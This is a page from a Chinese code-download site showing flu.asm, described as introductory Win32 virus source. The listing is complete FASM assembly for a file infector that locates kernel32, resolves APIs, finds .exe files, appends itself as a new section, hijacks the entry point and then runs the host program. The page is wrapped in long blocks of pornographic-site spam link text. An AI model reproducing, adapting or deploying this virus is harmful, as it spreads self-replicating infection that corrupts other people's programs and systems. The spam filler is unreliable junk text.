亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? flu.asm

?? Win32病毒入門源碼
?? ASM
字號:
format  PE GUI 4.0
entry   _vStart
include 'useful.inc'


virtual at esi
    vMZ_esi     IMAGE_DOS_HEADER
end virtual

virtual at esi
    vFH_esi     IMAGE_FILE_HEADER
end virtual

virtual at esi
    vOH_esi     IMAGE_OPTIONAL_HEADER
end virtual


.coderwe

_vStart:
            call    delta
delta:      pop     ebp
            call    _get_krnl
            or      edi,edi
            jz      jmp_host
            xchg    edi,edx
            lea     esi,[ebp+api_namez-delta]
            lea     edi,[ebp+api_addrz-delta]
get_apiz:   call    _get_apiz
            or      eax,eax
            jz      apiz_end
            stosd
            jmp     get_apiz
            wfd     WIN32_FIND_DATA
apiz_end:
            cmp     ebp,delta                   ; is this the origin virus?
            jz      infect_filez
            
            @pushsz 'user32.dll'
            call    [ebp+__addr_LoadLibraryA-delta]
            or      eax,eax
            jz      jmp_host
            xchg    eax,edx
            @pushsz 'MessageBoxA'
            pop     esi
            call    _get_apiz
            xor     esi,esi
            @call   eax,esi,'This file has been infected... :P','win32.flu',esi
            call    infect_filez
            jmp     jmp_host
            
infect_filez:
            lea     eax,[ebp+wfd-delta]
            push    eax
            @pushsz '*.exe'
            call    [ebp+__addr_FindFirstFileA-delta]
            inc     eax
            jz      jmp_host
            dec     eax
            mov     dword [ebp+hFindFile-delta],eax
next_file:  lea     esi,[ebp+wfd.WFD_szFileName-delta]
            call    _infect_file
            lea     eax,[ebp+wfd-delta]
            push    eax
            push    12345678h
    hFindFile = $-4
            call    [ebp+__addr_FindNextFileA-delta]
            or      eax,eax
            jnz     next_file
            push    dword [hFindFile]
            call    [ebp+__addr_FindClose-delta]      
            ret
            

; get kernel32.dll image base...

_get_krnl:
            @SEH_SetupFrame <jmp seh_handler>
            mov     esi,[fs:0]
visit_seh:  lodsd
            inc     eax
            jz      in_krnl
            dec     eax
            xchg    esi,eax
            jmp     visit_seh
in_krnl:    lodsd
            xchg    eax,edi
            and     edi,0ffff0000h          ; base address must be aligned by 1000h
krnl_search:
            cmp     word [edi],'MZ'         ; 'MZ' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            lea     esi,[edi+3ch]           ; point to e_lfanew
            lodsd                           ; get e_lfanew
            test    eax,0fffff000h          ; DOS header+DOS stub mustn't > 4k
            jnz     not_pe                  ; it's not a PE, continue searching
            add     eax,edi                 ; point to IMAGE_NT_HEADER
            cmp     word [eax],'PE'         ; 'PE' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            jmp     krnl_found
not_pe:     dec     edi
            xor     di,di                   ; decrease 4k bytes
            cmp     edi,70000000h           ; the base cannot below 70000000h
            jnb     krnl_search    
seh_handler:
            xor     edi,edi                 ; base not found
krnl_found:
            @SEH_RemoveFrame
            ret
            

; get apiz using in virus codez...
            
_get_apiz:  
            pushad
            xor     eax,eax
            cmp     byte [esi],0
            jz      ret_value
            or      edx,edx                 ; module image base valid?
            jz      return
            mov     ebx,edx                 ; save module image base for
                                            ; later use
            push    esi                     ; save API name
            xchg    esi,edi
            xor     ecx,ecx
            xor     al,al
            dec     ecx
            repnz   scasb
            neg     ecx
            dec     ecx
            push    ecx                     ; save length of the API name
            mov     dword [vPushad_ptr.Pushad_esi+08h],edi
            
            lea     edi,[edx+3ch]
            add     edx,dword [edi]         ; edx points to IMAGE_NT_HEADER
            push    edx                     ; save IMAGE_NT_HEADER
            mov     edi,dword [edx+78h]     ; edi has the RVA of export table
            add     edi,ebx                 ; edi points to export table
            push    edi                     ; save address of export table
            lea     esi,[edi+18h]
            lodsd                           ; eax get NumberOfNames
            push    eax                     ; save NumberOfNames
            mov     esi,[edi+20h]
            add     esi,ebx                 ; now points to name RVA table
            
            xor     edx,edx
match_api_name:
            lodsd
            add     eax,ebx
            xchg    eax,edi                 ; get a API name
            xchg    esi,eax
            mov     ecx,dword [esp+0ch]     ; length of API name
            mov     esi,dword [esp+10h]     ; API name buffer
            repz    cmpsb
            jz      api_name_found
            xchg    esi,eax
            inc     edx
            cmp     edx,dword [esp]
            jz      api_not_found
            jmp     match_api_name
            
api_not_found:
            xor     eax,eax
            xor     edi,edi
            jmp     return
            
api_name_found:
            shl     edx,1
            mov     esi,[esp+04h]           ; export table address
            mov     eax,[esi+24h]
            add     eax,ebx                 ; ordinal table
            movzx   edx,word [eax+edx]
            shl     edx,2
            mov     eax,[esi+1ch]
            add     eax,ebx                 ; function address table
            mov     eax,[eax+edx]
            add     eax,ebx                 ; found!!!

return:     add     esp,14h
ret_value:  mov     [vPushad_ptr.Pushad_eax],eax
            popad
            ret   
          

; file infecting procedure...

_infect_file:
            pushad
            @FILE_CreateFileRW [ebp+__addr_CreateFileA-delta],esi
            inc     eax
            jz      end_infect
            dec     eax
            mov     [ebp+hFile-delta],eax
            @FILE_CreateFileMappingRW [ebp+__addr_CreateFileMappingA-delta],eax,NULL
            or      eax,eax
            jz      close_file
            mov     [ebp+hFileMapping-delta],eax
            @FILE_MapViewOfFileRW [ebp+__addr_MapViewOfFile-delta],eax
            or      eax,eax
            jz      close_map
            mov     [ebp+pMem-delta],eax
            
            xchg    eax,esi
            cmp     word [esi],'MZ'             ; check if it's a PE file
            jnz     unmap_file                  ; (MZ has the same ext. name
            mov     eax,[vMZ_esi.MZ_lfanew]     ; .exe :P)
            test    ax,0f000h
            jnz     unmap_file
            add     esi,eax                     ; esi: IMAGE_NT_HEADER
            lodsd                               ; esi: IMAGE_FILE_HEADER
            cmp     ax,'PE'
            jnz     unmap_file
            cmp     dword [esi-8],32ef12abh     ; signature...
            jz      unmap_file
            
            
            test    word [vFH_esi.FH_Characteristics],IMAGE_FILE_SYSTEM
            jnz     unmap_file                  ; don't infect system filez
            movzx   eax,[vFH_esi.FH_NumberOfSections]
            mov     ecx,28h
            imul    ecx
            add     eax,vImageNtHeader.size
            lea     edx,[esi-4]
            add     eax,edx
            mov     edi,eax                     ; edi: ptr to new section table
            add     eax,ecx
            sub     eax,dword [ebp+pMem-delta]
            cmp     eax,[esi+vImageFileHeader.size+vImageOptionalHeader.OH_SizeOfHeaders]
            ja      unmap_file
            
            inc     [vFH_esi.FH_NumberOfSections]       ; increase number of sections
            add     esi,vImageFileHeader.size           ; esi: IMAGE_OPTIONAL_HEADER
            xor     edx,edx
            mov     ecx,[vOH_esi.OH_FileAlignment]
            mov     eax,virus_size
            idiv    ecx
            sub     ecx,edx
            add     ecx,virus_size
            mov     dword [ebp+dwSizeOfRawData-delta],ecx
            mov     eax,[vOH_esi.OH_SizeOfImage]
            mov     dword [ebp+dwVirtualAddress-delta],eax
            lea     edx,[vOH_esi.OH_AddressOfEntryPoint]
            mov     ebx,[edx]
            add     ebx,[vOH_esi.OH_ImageBase]
            xchg    dword [ebp+__addr_host-delta],ebx
            
            mov     [edx],eax
            add     [vOH_esi.OH_SizeOfImage],ecx
            lea     eax,[esp-4]
            push    eax
            push    dword [ebp+hFile-delta]
            call    [ebp+__addr_GetFileSize-delta]
            mov     dword [ebp+dwPointerToRawData-delta],eax
            push    esi                         ; save esi
            
            call    @f
            db      '.flu',0,0,0,0
            dd      virus_size
            dd      12345678h
    dwVirtualAddress = $-4
            dd      12345678h
    dwSizeOfRawData = $-4
            dd      12345678h
    dwPointerToRawData = $-4
            dd      0,0,0
            dd      0E0000020h                          ; read-write executable
            db      'PKER / CVC.GB'                     ; a little signature :P
            
    @@:     pop     esi
            mov     ecx,0ah
            rep     movsd
            pop     esi                                 ; restore
            mov     dword [esi-vImageFileHeader.size-8],32ef12abh       ; signature
            
            xor     eax,eax
            push    eax
            push    eax
            push    dword [ebp+dwPointerToRawData-delta]
            push    dword [ebp+hFile-delta]
            call    [ebp+__addr_SetFilePointer-delta]
            
            push    0
            lea     eax,[ebp+dwVirtualAddress-delta]
            push    eax
            push    dword [ebp+dwSizeOfRawData-delta]
            lea     eax,[ebp+_vStart-delta]
            push    eax
            push    dword [ebp+hFile-delta]
            call    [ebp+__addr_WriteFile-delta]
            xchg    dword [ebp+__addr_host-delta],ebx

unmap_file: push    12345678h
    pMem = $-4
            call    [ebp+__addr_UnmapViewOfFile-delta]
close_map:  push    12345678h
    hFileMapping = $-4
            call    [ebp+__addr_CloseHandle-delta]
close_file: push    12345678h
    hFile = $-4
            call    [ebp+__addr_CloseHandle-delta]
end_infect: 
            popad
            ret
            

; go back to host...

jmp_host:   mov     eax,12345678
    __addr_host = $-4
            jmp     eax
            

; apiz used in virus...

api_namez:  db      'LoadLibraryA',0
            db      'CreateFileA',0
            db      'CloseHandle',0
            db      'CreateFileMappingA',0
            db      'MapViewOfFile',0
            db      'UnmapViewOfFile',0
            db      'FindFirstFileA',0
            db      'FindNextFileA',0
            db      'FindClose',0
            db      'GetFileSize',0
            db      'SetFilePointer',0
            db      'WriteFile',0
            db      0
            
api_addrz:  __addr_LoadLibraryA         dd      ?
            __addr_CreateFileA          dd      ?
            __addr_CloseHandle          dd      ?
            __addr_CreateFileMappingA   dd      ?
            __addr_MapViewOfFile        dd      ?
            __addr_UnmapViewOfFile      dd      ?
            __addr_FindFirstFileA       dd      ?
            __addr_FindNextFileA        dd      ?
            __addr_FindClose            dd      ?
            __addr_GetFileSize          dd      ?
            __addr_SetFilePointer       dd      ?
            __addr_WriteFile            dd      ?
            
_vEnd:
virus_size = $-_vStart

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美成人一级视频| 成人免费电影视频| 欧美性生交片4| 一区二区三区在线播放| 色综合久久久久久久久| 中文字幕一区二区不卡| 91美女精品福利| 亚洲综合精品久久| 欧美精品电影在线播放| 精品一区二区三区久久| 久久亚洲精品小早川怜子| 国产精品一卡二卡在线观看| 中文字幕第一区| 91网站最新地址| 亚洲图片欧美色图| 91麻豆精品久久久久蜜臀| 日本视频一区二区| 欧美激情艳妇裸体舞| 99久久免费视频.com| 亚洲大型综合色站| 日韩午夜在线观看| 成人自拍视频在线| 一区二区免费在线| 精品精品欲导航| 波多野结衣一区二区三区| 亚洲国产日韩综合久久精品| 日韩欧美电影一二三| 成人性生交大片免费看中文网站| 亚洲精品五月天| 7777精品伊人久久久大香线蕉完整版| 国产一区二区三区四| 亚洲色图欧美在线| 日韩一卡二卡三卡四卡| 成人久久18免费网站麻豆 | 欧美成人精精品一区二区频| 国产成人精品免费一区二区| 亚洲精品国产高清久久伦理二区 | 一区二区三区在线免费播放| 日韩精品中文字幕一区二区三区 | 欧美tickling网站挠脚心| 本田岬高潮一区二区三区| 日韩国产欧美三级| 国产精品视频看| 欧美猛男超大videosgay| 懂色av一区二区三区免费看| 日韩黄色免费网站| 5月丁香婷婷综合| proumb性欧美在线观看| 美国十次综合导航| 亚洲国产日韩av| 精品欧美一区二区久久| 日日骚欧美日韩| 91视频在线看| 亚洲欧洲三级电影| 成人高清av在线| 一区二区三区在线视频播放| 91亚洲精品一区二区乱码| 综合欧美亚洲日本| 99riav久久精品riav| 亚洲美女精品一区| 欧美日本在线观看| 国产伦精品一区二区三区视频青涩| 91精品在线麻豆| 秋霞午夜av一区二区三区| 欧美一区二区三区成人| 婷婷开心激情综合| 久久综合成人精品亚洲另类欧美| 国产成a人亚洲精| 蜜桃在线一区二区三区| 成人免费看片app下载| 国产精品少妇自拍| 欧美性生活大片视频| 99国产精品久久久久久久久久久| 欧美性大战久久| 久久精品国产在热久久| 久久久91精品国产一区二区精品| 日韩一区二区三区四区 | 久久精品国产成人一区二区三区| 亚洲精品第一国产综合野| 国产欧美一区二区三区鸳鸯浴| 久久综合视频网| 日韩欧美成人一区二区| 日韩免费观看高清完整版| 欧美一区二区三区视频在线 | 国产喂奶挤奶一区二区三区| 色av综合在线| 欧美影院午夜播放| 狠狠v欧美v日韩v亚洲ⅴ| 欧美高清一级片在线| 色欲综合视频天天天| 精彩视频一区二区三区| 狠狠v欧美v日韩v亚洲ⅴ| 91在线一区二区| 日韩女优毛片在线| 香蕉久久一区二区不卡无毒影院| 国产高清在线观看免费不卡| 国产又黄又大久久| 成人黄色片在线观看| 亚洲精品日韩一| 精品久久一二三区| 在线成人av网站| 中文字幕一区二区三区四区不卡 | 亚洲国产精品久久艾草纯爱| 日本麻豆一区二区三区视频| 成人激情图片网| 精品久久久久久久久久久久久久久| 亚洲乱码日产精品bd| 国内精品国产成人| 91麻豆精品国产91久久久更新时间 | 色999日韩国产欧美一区二区| 精品国产1区二区| 亚洲国产美女搞黄色| 色婷婷av一区二区三区大白胸| 久久久.com| 国产米奇在线777精品观看| 91精品免费观看| 婷婷久久综合九色国产成人| 在线观看免费亚洲| 国产精品短视频| 亚洲影视资源网| 午夜精品福利一区二区蜜股av| 欧美a级理论片| 日韩中文字幕区一区有砖一区| 性做久久久久久免费观看| 波多野洁衣一区| 白白色 亚洲乱淫| 国产福利一区二区三区视频在线 | 精品视频全国免费看| 欧美日韩在线三级| 日韩一级在线观看| 中文字幕精品一区二区精品绿巨人| 亚洲少妇30p| 青草国产精品久久久久久| 国产激情一区二区三区| 国内成人精品2018免费看| 欧美日韩三级视频| 久久久www免费人成精品| 亚洲日本免费电影| 久久国产夜色精品鲁鲁99| av在线综合网| 欧美一级二级三级乱码| 国产精品久久一级| 亚洲444eee在线观看| 国产精品12区| 欧美午夜精品久久久久久超碰| 久久精品日产第一区二区三区高清版 | 日韩福利视频导航| 东方aⅴ免费观看久久av| 成人一级片网址| 在线成人高清不卡| 18成人在线观看| 国产精品888| 欧美一区二区视频在线观看| 亚洲欧洲国产日韩| 国产精品18久久久久久久久久久久| 欧美丰满嫩嫩电影| 亚洲欧美欧美一区二区三区| 国产成人亚洲综合a∨猫咪| 日韩免费观看高清完整版在线观看| 樱桃视频在线观看一区| 国产一区二区久久| 欧洲在线/亚洲| 亚洲夂夂婷婷色拍ww47| 成人午夜激情视频| 欧美草草影院在线视频| 亚洲成人综合在线| 91蝌蚪porny九色| 国产精品网站在线观看| 日韩av中文在线观看| 日韩一区二区在线观看视频| 一区二区国产盗摄色噜噜| 不卡的av中国片| 国产视频在线观看一区二区三区 | 色一区在线观看| 中文字幕不卡在线观看| 国模冰冰炮一区二区| 日韩欧美一区中文| 日本大胆欧美人术艺术动态| 欧美日韩美女一区二区| 亚洲一区二区欧美日韩| 欧美天堂一区二区三区| 亚洲一级二级三级| 91福利视频在线| 亚洲欧美日本韩国| 欧美日韩中文字幕一区| 亚洲国产色一区| 欧美中文字幕亚洲一区二区va在线| 亚洲影院免费观看| 欧美人与性动xxxx| 日产国产高清一区二区三区| 欧美mv和日韩mv的网站| 国产乱国产乱300精品| 国产视频亚洲色图| 岛国一区二区在线观看| 国产精品国产馆在线真实露脸| 97久久超碰国产精品| **性色生活片久久毛片| 色吊一区二区三区| 午夜影视日本亚洲欧洲精品| 日韩一级黄色片|